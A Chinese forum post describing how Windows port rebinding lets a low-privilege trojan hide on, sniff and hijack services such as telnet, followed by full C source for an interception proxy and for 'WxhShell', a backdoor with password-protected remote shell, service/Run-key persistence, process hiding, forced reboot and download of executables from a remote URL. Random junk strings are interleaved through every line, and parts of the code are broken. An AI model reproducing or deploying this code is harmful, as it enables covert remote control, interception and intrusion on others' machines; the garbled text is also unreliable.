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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Di4GaKa/  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ED" fi$  
X  u HR  
  saddr.sin_family = AF_INET; Wi>m}^}9  
%N`_g' r!  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 6akI5\b  
$?]`2*i  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); *FZav2]-  
4# ]g852  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 M6^ \LtFt  
d,Oagx  
  这意味着什么?意味着可以进行如下的攻击: \@N~{72:k  
g7*Uuh#  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 NqNU:_}  
~1twGG_;  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) }HmkTk  
P3Lsfi.  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 CV\y60n  
o|c6=77043  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  vf+z0df  
M"/Jn[  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 jX(${j<  
\)wch P_0  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 vq+CW?*"  
o9]32l  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 =s]2?m  
bM:4i1Z  
  #include x;E/  
  #include g}gGm[1SUo  
  #include m{X{h4t  
  #include    Dc$q0|N=z  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Pc< "qy  
  int main() :9%e:-  
  { c ^.^5@  
  WORD wVersionRequested; D M+MBK  
  DWORD ret; I9>vm]  
  WSADATA wsaData; &0%Z b~ts  
  BOOL val; dzAumWoh  
  SOCKADDR_IN saddr; SG|AJ9  
  SOCKADDR_IN scaddr; ge6S_"  
  int err; ?< teHFj  
  SOCKET s; :l!sKT?:d!  
  SOCKET sc; /#(IV_Eol  
  int caddsize; xRhGBb{@s  
  HANDLE mt; oq!\100  
  DWORD tid;   K\XQ E50  
  wVersionRequested = MAKEWORD( 2, 2 ); :( m, 06K  
  err = WSAStartup( wVersionRequested, &wsaData ); ]y=U"g  
  if ( err != 0 ) { ^L)3O|6c  
  printf("error!WSAStartup failed!\n"); 9lR6:}L7  
  return -1; V;"2=)X  
  } V:J|shRo  
  saddr.sin_family = AF_INET; 'q |"+;  
   c$2kR:  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 z~3ubta8(@  
Ax;?~v4Z  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ]w _&%mB  
  saddr.sin_port = htons(23); I]+ zG  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) .FgeAxflP  
  { )j~{P  
  printf("error!socket failed!\n"); K{/i2^4  
  return -1; t,8?Tf+i  
  }  p#]9^oA  
  val = TRUE; <3@nv%  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 !-470J  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) oST)E5X;7  
  { eLORG(;h4  
  printf("error!setsockopt failed!\n"); @-\=`#C**  
  return -1; xZ;eV76  
  } <Z3C&BM  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; \ moLQ  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 U+ ik& R#  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 0|tyKP|J  
QK0]9   
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) /*Q3=Dse]  
  { _BJ:GDz>  
  ret=GetLastError(); A>upT'  
  printf("error!bind failed!\n"); XE<5(  
  return -1; P![ZO6`:W'  
  } ,e;,+w=~E  
  listen(s,2); @S}j=k  
  while(1) vnQFq  
  { f~a 7E;y  
  caddsize = sizeof(scaddr); P[q>;Fx*  
  //接受连接请求 %#v$d  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); JvW7h(u7g  
  if(sc!=INVALID_SOCKET) ~( XaXu  
  {  ov,  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); V'W*'wo   
  if(mt==NULL) E=,5%>C0#%  
  { .`+~mQ Wn  
  printf("Thread Creat Failed!\n"); 6:B,ir _  
  break; ]J!#"m-]  
  } {Hl(t$3V`  
  } }(Fmr7%m  
  CloseHandle(mt); =CD6x= l6  
  } U+B"$yBR  
  closesocket(s); *k,3@_5  
  WSACleanup(); !J#P 'x0  
  return 0; E Zf|>^N  
  }   9D=X3{be#  
  DWORD WINAPI ClientThread(LPVOID lpParam) /ZabY  
  { |g^YD;9s.  
  SOCKET ss = (SOCKET)lpParam; *kK +Nvt8s  
  SOCKET sc; rCA!b"C2  
  unsigned char buf[4096]; UsU Ri  
  SOCKADDR_IN saddr; 9(S=0<  
  long num; hN=kU9@knC  
  DWORD val; NdLe|L?c  
  DWORD ret; R"O%##Ws  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ]f &]E ~i  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   M *3G  
  saddr.sin_family = AF_INET; %pOz%v~  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); SWI\;:k  
  saddr.sin_port = htons(23); dazML|1ow  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)  gvo98Id  
  { NR_3nt^h  
  printf("error!socket failed!\n"); 2D"my]FnF  
  return -1; `V V >AA5  
  } J9 NuqV3  
  val = 100; P}gtJ;  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) vjm? X  
  { ,JK0N_=  
  ret = GetLastError(); a1I-d=]  
  return -1; ~Uv#)  
  } LsIZeL^  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) !BkE-9v?w  
  { Ce<z[?u  
  ret = GetLastError(); !\%JOf}  
  return -1; oi7k#^  
  } 13v`rK`7o  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) N-F&=u}  
  { a-,*iK{_u  
  printf("error!socket connect failed!\n"); P8dMfD*"E  
  closesocket(sc); ;k#_/c  
  closesocket(ss); RbxQTM_:M  
  return -1; e> 9X  
  } -th.(eAx  
  while(1) CckfoJ 9  
  { ]rY9t@  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 'G % ]/'_U  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 $=E4pb4Y  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 VM<0_R24z  
  num = recv(ss,buf,4096,0); F{ vT^/  
  if(num>0) ZR3,dW6S  
  send(sc,buf,num,0); 8h|}Q_  
  else if(num==0) sRcd{)|Cq  
  break; y,&[OrCm^\  
  num = recv(sc,buf,4096,0); &4WA/'>R  
  if(num>0) }15&<s  
  send(ss,buf,num,0); 'J &R=MD  
  else if(num==0) jA:'P~`Hj  
  break; P(8Yz W  
  } ;7qzQ{Km  
  closesocket(ss); 6vNn;-gg.  
  closesocket(sc); Rh"O$K~  
  return 0 ; _$IWr)8f  
  } 2&:z[d}~H  
)3e_H s+  
oupWzjo  
========================================================== ;rL1[qwk  
MNe/H\  
下边附上一个代码,,WXhSHELL ZyNgG9JL]  
I(BJ1 8F$  
========================================================== "u~` ZV(  
H*<E5^#dw  
#include "stdafx.h" ke W7pN?  
7)#JrpTj%  
#include <stdio.h> #| g h  
#include <string.h> _8 K|2$X  
#include <windows.h> lj&\F|-i  
#include <winsock2.h> ol_\ "  
#include <winsvc.h> t d\gk  
#include <urlmon.h> 8lqmd1v  
6 A]a@,PC  
#pragma comment (lib, "Ws2_32.lib") 3*%+NQIj  
#pragma comment (lib, "urlmon.lib") RfvvX$  
5X];?(VTsb  
#define MAX_USER   100 // 最大客户端连接数 Px?"5g#+  
#define BUF_SOCK   200 // sock buffer 1nvT={'R  
#define KEY_BUFF   255 // 输入 buffer A~E S{Zkh  
8irTGA  
#define REBOOT     0   // 重启 f&5S`}C  
#define SHUTDOWN   1   // 关机 I'{Ctc  
(HeSL),1  
#define DEF_PORT   5000 // 监听端口 p(GI02|n  
'M?ptu?f  
#define REG_LEN     16   // 注册表键长度 "-Ny f  
#define SVC_LEN     80   // NT服务名长度 v4rO 0y=C  
GGHeC/4  
// 从dll定义API l> H'PP~  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); i}>EGmv m  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);  n9&fH  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); [=cbzmX[  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); &*O'qOO<2  
GcO:!b*YMp  
// wxhshell配置信息 o M@%2M_O(  
struct WSCFG { u"hr4+/  
  int ws_port;         // 监听端口 RJDk7{(  
  char ws_passstr[REG_LEN]; // 口令 Txe*$T,(  
  int ws_autoins;       // 安装标记, 1=yes 0=no "X?Zw$gRud  
  char ws_regname[REG_LEN]; // 注册表键名 v?3xWXX,  
  char ws_svcname[REG_LEN]; // 服务名 N,9~J"z  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 W4nn)qBrh  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 G){+.X4g3  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 9CwtBil<#g  
int ws_downexe;       // 下载执行标记, 1=yes 0=no M{)eA<6  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" A\7sP =  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 #H~$^L   
QRl+7V  
}; j8?! J^TC  
K9ih(fh)  
// default Wxhshell configuration dQp>z%L)  
struct WSCFG wscfg={DEF_PORT, oIj/V|ByK  
    "xuhuanlingzhe", >^#Liwm  
    1, :si&A;k  
    "Wxhshell", ^oq|^O  
    "Wxhshell", L?8OWLjRy  
            "WxhShell Service", DTi^* Wj  
    "Wrsky Windows CmdShell Service", vYLspZ;S  
    "Please Input Your Password: ", ?AxB0d9z  
  1, 9'|k@i:  
  "http://www.wrsky.com/wxhshell.exe", oGeV!hD  
  "Wxhshell.exe" l&W:t9o  
    }; ,:-^O#  
}>,%El/  
// 消息定义模块 u0?TMy.%  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Jz&dC  
char *msg_ws_prompt="\n\r? for help\n\r#>"; IJPyCi)  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; }4c$_  
char *msg_ws_ext="\n\rExit."; 0?I  
char *msg_ws_end="\n\rQuit."; ~tW<]l7  
char *msg_ws_boot="\n\rReboot..."; 3_ E}XQd  
char *msg_ws_poff="\n\rShutdown..."; Z5wQhhH  
char *msg_ws_down="\n\rSave to "; ~pI`_3  
&DtI+ )[|  
char *msg_ws_err="\n\rErr!"; 6y`FW[  
char *msg_ws_ok="\n\rOK!"; dR,a0+!  
K!>3`[:I"  
char ExeFile[MAX_PATH]; "<&o ;x<  
int nUser = 0; #sv}%oV,F  
HANDLE handles[MAX_USER]; l_2l/ff9  
int OsIsNt; m\ qR myO  
Q>w)b]d~c  
SERVICE_STATUS       serviceStatus; wax^iL!  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; b=WkRj  
kwS[,Qy\  
// 函数声明 dKchQsgCg  
int Install(void); q~AvxO  
int Uninstall(void); vu*{+YpH  
int DownloadFile(char *sURL, SOCKET wsh); 0&&P+adk  
int Boot(int flag); \b)P4aL  
void HideProc(void); =:xJZy$  
int GetOsVer(void); _m#TL60m  
int Wxhshell(SOCKET wsl); {JKG-0)z?  
void TalkWithClient(void *cs); oOXJ7 |n  
int CmdShell(SOCKET sock); @ K2Ncb7  
int StartFromService(void); = K`]cEL  
int StartWxhshell(LPSTR lpCmdLine); I;$tBgOWq  
!+ UXu]kA  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); R iLqMSq  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); xA n|OSe  
QqeF   
// 数据结构和表定义 @k:@mzB7R  
SERVICE_TABLE_ENTRY DispatchTable[] = &Dp&  
{ kAx J#RG  
{wscfg.ws_svcname, NTServiceMain}, OWYY2&.h  
{NULL, NULL} dj6Lf  
}; 4h}\Kl  
IL*MB;0>  
// 自我安装 h=NXU9n%'  
int Install(void) 4dSAGLpp  
{ VF7H0XR/k5  
  char svExeFile[MAX_PATH]; wmP[\^c%$j  
  HKEY key; 3] U/^f3  
  strcpy(svExeFile,ExeFile); aH500  
LzB*d  
// 如果是win9x系统,修改注册表设为自启动 ]@}@G[e#[  
if(!OsIsNt) { 7d_"4;K)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { sJg3WN  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); T Q {8 ee{  
  RegCloseKey(key); ,~K4+ t_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { HE2t0sAYX  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /cZcfCW  
  RegCloseKey(key); *9r 32]i;  
  return 0; G%%F6)W  
    } ,zBc-Cm  
  } 9*?YES'6  
} c8cGIAOY)  
else { Mw;^`ZxT  
(i@(ZG]/  
// 如果是NT以上系统,安装为系统服务 fX&g. fH  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Hu!<GB~  
if (schSCManager!=0) B=%YD"FAv  
{ Q6[h;lzGV  
  SC_HANDLE schService = CreateService _9/Af1 X  
  ( <g8{LG0  
  schSCManager, MB.LHIo  
  wscfg.ws_svcname, D sBZ%  
  wscfg.ws_svcdisp, V5I xZn%  
  SERVICE_ALL_ACCESS, vZSwX@0  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , WMoRosL74  
  SERVICE_AUTO_START, # kmI#W"^  
  SERVICE_ERROR_NORMAL, ljh,%#95=  
  svExeFile, ?3iN)*Ut  
  NULL,  ck`$ `  
  NULL, u,@x7a,z  
  NULL, XToYtdt2  
  NULL, <,nd]a  
  NULL 7^h*rL9  
  ); D4+OWbf6  
  if (schService!=0) [rhK2fr:i  
  { vRO`hGH  
  CloseServiceHandle(schService); O<0-`=W,a  
  CloseServiceHandle(schSCManager); 8O^z{Yh7  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); }GGH:v  
  strcat(svExeFile,wscfg.ws_svcname); r*ry8QA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { sQY0Xys<4  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Bq \WG=Fd  
  RegCloseKey(key); /9C>{29x!  
  return 0; LS1}j WU!  
    } gHU0Pr9'  
  } qI\B;&hr(  
  CloseServiceHandle(schSCManager); V ;M'd@  
} {Hxziyv~Y(  
} YccD ^w[`B  
T:udw  
return 1; N8]d0  
} Y{m1\s/o  
r P&.`m88n  
// 自我卸载 N5fMMi(O  
int Uninstall(void) (Yc}V  
{ `q1K%id  
  HKEY key; mY]R~:  
DzvGR)>/  
if(!OsIsNt) { )XD$YI  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9uY$@7qH  
  RegDeleteValue(key,wscfg.ws_regname); > bSQ}kXe  
  RegCloseKey(key); X57\sggK  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { XE*#5u8t  
  RegDeleteValue(key,wscfg.ws_regname);  *U4eL-  
  RegCloseKey(key); ,W;2A0A?X  
  return 0; / =:X,^"P  
  } c< g{ &YJ  
} j}DG +M  
} ;KW}F|  
else { Aj2yAg  
km!jxs  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); <UO'&?G  
if (schSCManager!=0) +Tp>3Jh2  
{ ;jpsH?3g  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); .AHww7  
  if (schService!=0) c ]&|.~2&  
  { c5tCw3$t  
  if(DeleteService(schService)!=0) { B976{;QvXV  
  CloseServiceHandle(schService); {= l 9{K`~  
  CloseServiceHandle(schSCManager); 09rbu\h  
  return 0; C+c;UzbD  
  } t[^68]  
  CloseServiceHandle(schService); @{UtS2L  
  } l8ZzKb-  
  CloseServiceHandle(schSCManager); &]HY:  
} 62%=%XD  
} #s^~'2^%4  
pD%Pg5p`  
return 1; ]W 6!Xw)[  
} n8>( m,  
q:ZF6o`Z83  
// 从指定url下载文件 FOd)zU*L2  
int DownloadFile(char *sURL, SOCKET wsh) @phb5  
{ veh?oJi@  
  HRESULT hr; *4F6U  
char seps[]= "/"; ;3WVrYe  
char *token; 6N'v`p8  
char *file; '}NQ`\k  
char myURL[MAX_PATH]; &7t3D?K'qX  
char myFILE[MAX_PATH]; ]l4# KI@  
P_ x9:3  
strcpy(myURL,sURL); ey>V^Fj  
  token=strtok(myURL,seps); r5N.Qt8  
  while(token!=NULL) zHvG3Ed@  
  { hbv>Jjd  
    file=token; s@vHU4  
  token=strtok(NULL,seps); 3]1uDgfr  
  } -%^KDyZ<&  
%) 8 UyZG  
GetCurrentDirectory(MAX_PATH,myFILE); bjEm=4FI;  
strcat(myFILE, "\\"); &]Q\@;]Aq  
strcat(myFILE, file); StJ&YYdD  
  send(wsh,myFILE,strlen(myFILE),0); YYUWBnf30G  
send(wsh,"...",3,0); 0(!D1G{ul  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ;y"q uJ'O  
  if(hr==S_OK) A296 f(  
return 0; VdV18-ea  
else >|22%YVX  
return 1; 48 `k"Uy   
6{p] cr  
} c31k%/.  
m#a0HH  
// 系统电源模块 }?jL;CCe  
int Boot(int flag) @NS=  
{ kG>d^K  
  HANDLE hToken; ^ LT KX`p  
  TOKEN_PRIVILEGES tkp; &k4)&LQJ  
B&E qd  
  if(OsIsNt) { ~ g\GC  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Gn_rf"  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); {@c)!% 2$  
    tkp.PrivilegeCount = 1; `w J^   
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; P~y%  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); o%E^41M7E  
if(flag==REBOOT) { n2$(MDdL`  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Oi=c 6n  
  return 0; H_<X\(  
} n$fYgZKn  
else { fYuz39#*  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 7C%z 0/  
  return 0; 4iiW{rh4  
} Z;6v`;[  
  } <g|\]\C|  
  else { kF lq@['U  
if(flag==REBOOT) { [80L|?, *  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) P<@V  
  return 0; 8e9ZgC|  
} t_PAXj  
else { y JJNr]oq  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) CfoT$g  
  return 0; 7LM?<lp]  
} &xG>"sJ  
} dd +%d  
 1 U|IN=  
return 1; k%5 o5Hx  
} O.%' 47A  
+p:#$R)MW  
// win9x进程隐藏模块 CXr]V"X9  
void HideProc(void) YM*{^BXp  
{ gxS*rzCG  
0Y8Si^T  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Wu\{)g{&  
  if ( hKernel != NULL ) Bg?f}nu7  
  { > :s#MwIwm  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); [4u.*oL&  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); -Q6njt&  
    FreeLibrary(hKernel); ]\y:AkxhJ  
  } b'Scoa7@'  
tp-PE?  
return; ~9N n8g6  
} gi|j ! m  
06FBI?;|=  
// 获取操作系统版本 [/ B$cH  
int GetOsVer(void) mlsM;A d2  
{ &> Myf@  
  OSVERSIONINFO winfo; tCFXb6Cz  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); "w#jC ~J<W  
  GetVersionEx(&winfo); G(2(-x"+  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) vKv!{>,v9Z  
  return 1; DM3W99PWA  
  else <g SZt\  
  return 0; 6PF7Wl7.  
} 'gDhi!h%  
g q|T:  
// 客户端句柄模块 dD Qx[  
int Wxhshell(SOCKET wsl) LZirw'  
{ YY\$lM  
  SOCKET wsh; [ &cCE   
  struct sockaddr_in client; WJp9io[GM  
  DWORD myID; /1F5khN  
Oq-O|qJj  
  while(nUser<MAX_USER) 7q2G/_  
{ =i_ s#v[Y  
  int nSize=sizeof(client); 3dlL?+Y#  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); }IM*Vsk  
  if(wsh==INVALID_SOCKET) return 1; \t6k(5J  
RqV* O}Am  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 9ZbT41  
if(handles[nUser]==0) x]~{#pH@<  
  closesocket(wsh); IUt/V^  
else W$g<nhLK  
  nUser++; Vz(O=w=  
  } ZK1H%&P=R  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 'P1I-ue  
yMdE[/+3  
  return 0; h[|c?\E z  
} q2o`.f+I  
2$)xpET  
// 关闭 socket IQ$cLr-S  
void CloseIt(SOCKET wsh) 8T&.8r  
{ [8F1rZ&  
closesocket(wsh); D"x;/I  
nUser--; f@3?kM(  
ExitThread(0); ?C%mwW3pc  
} PBXRey7>D  
O#j&8hQ>  
// 客户端请求句柄 CK<Wba  
void TalkWithClient(void *cs) :qfP>Ok  
{ UMcQqV+vT  
8F?6Aq1B  
  SOCKET wsh=(SOCKET)cs; F/91Es  
  char pwd[SVC_LEN]; l[Hgh,  
  char cmd[KEY_BUFF]; ~N<zv( {lG  
char chr[1]; 5cr d.1@^  
int i,j; 0X.(BRI~6p  
e XB'>#&s  
  while (nUser < MAX_USER) { cym<uh-Wg^  
Bu[sSoA  
if(wscfg.ws_passstr) { }XJA#@  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); M0+xl+c+  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `x{*P.]N!<  
  //ZeroMemory(pwd,KEY_BUFF); |ia#Elavo  
      i=0; ] LcCom:]  
  while(i<SVC_LEN) { 4=BIYC"Lu  
#@rvoi  
  // 设置超时 +7<W.Zii  
  fd_set FdRead; }0Q_yuzx0m  
  struct timeval TimeOut; d`}t!]Gg  
  FD_ZERO(&FdRead); ]Alv5?E60  
  FD_SET(wsh,&FdRead); iJ&*H)}^  
  TimeOut.tv_sec=8; ku8C#%.m3  
  TimeOut.tv_usec=0; UDBMf2F]  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); zv~dW4'  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Yo 0wufbfV  
G1RUu-~+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); q9)]R  
  pwd=chr[0]; e}xx4mYo  
  if(chr[0]==0xd || chr[0]==0xa) { .paKV"LJ  
  pwd=0; V8Lp%*(3  
  break; $,@PY5r  
  } DW@|H  
  i++; r |H 1Yy  
    }  ;rH<  
xaPaK-  
  // 如果是非法用户,关闭 socket LqZsH0C  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); yYdow.b!  
} n<GTc{>Z  
Gx&o3^t  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); QfdATK P  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^x BQ#p  
#N?VbDK9_  
while(1) { W 'w{}|  
^k* h  
  ZeroMemory(cmd,KEY_BUFF); \LN!k-c  
-:$#koW  
      // 自动支持客户端 telnet标准   >cTSX  
  j=0; C2X$bX"  
  while(j<KEY_BUFF) { bfE4.YF  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {*BZ;Xh\8  
  cmd[j]=chr[0]; 3xhGmD\SKO  
  if(chr[0]==0xa || chr[0]==0xd) { nM<B{AR5^  
  cmd[j]=0; IBT 1If3  
  break; R [qfG! "  
  } Lrrc&;  
  j++; Y8%bk2  
    } rpB0?h!$  
X[e:fW[e)  
  // 下载文件 y7X2|$9z-  
  if(strstr(cmd,"http://")) { bjO?k54I  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ij=_h_nA  
  if(DownloadFile(cmd,wsh)) ~K7$ZM  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); {Xjj-@  
  else (9]8r2|.  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V*Q!J{lj^#  
  } h/i L/Q=  
  else { Ha)Vf+W  
v@&UTU  
    switch(cmd[0]) { {V7W!0;!  
  qh]D=i  
  // 帮助 }xA Eu,n^  
  case '?': { 99KW("C1F  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); VUneCt%  
    break; 'vP"& lrn  
  } ]jB`"to*}  
  // 安装 z]49dCN  
  case 'i': { I(5sKU3<  
    if(Install()) B7 #O>a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +jPJv[W  
    else WA?We7m$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T4JG5  
    break; G`oY(2U  
    } BzXTHFMSy  
  // 卸载 2+oS'nL  
  case 'r': { t+l{D#?a  
    if(Uninstall()) O30eq 7(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _?I6[Mz  
    else 2gN78#d  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .rcXxV@f  
    break; 59l9^<{A  
    } Clo}kdkd_  
  // 显示 wxhshell 所在路径 H#+2l?D:"  
  case 'p': { -U BH,U  
    char svExeFile[MAX_PATH]; /S #Z.T~~  
    strcpy(svExeFile,"\n\r"); [.Y]f.D  
      strcat(svExeFile,ExeFile); 1C5~GI`  
        send(wsh,svExeFile,strlen(svExeFile),0); JYK 4/gJ  
    break; k^{}p8;3  
    } N0V`xrS  
  // 重启 $ dR@Q?_{  
  case 'b': { INRP@Cp1  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); PiVp(; rtQ  
    if(Boot(REBOOT)) =e"RE/q2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c D5N'3  
    else { ;uhpo  
    closesocket(wsh); `gSJEq  
    ExitThread(0); 2)\g IMt%  
    } UfNcI[xr  
    break; Njmb{L]Cps  
    } :5-t$^R  
  // 关机 ;39~G T  
  case 'd': { +UX~TT:  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Htm;N2$d  
    if(Boot(SHUTDOWN)) 9}|t`V"  
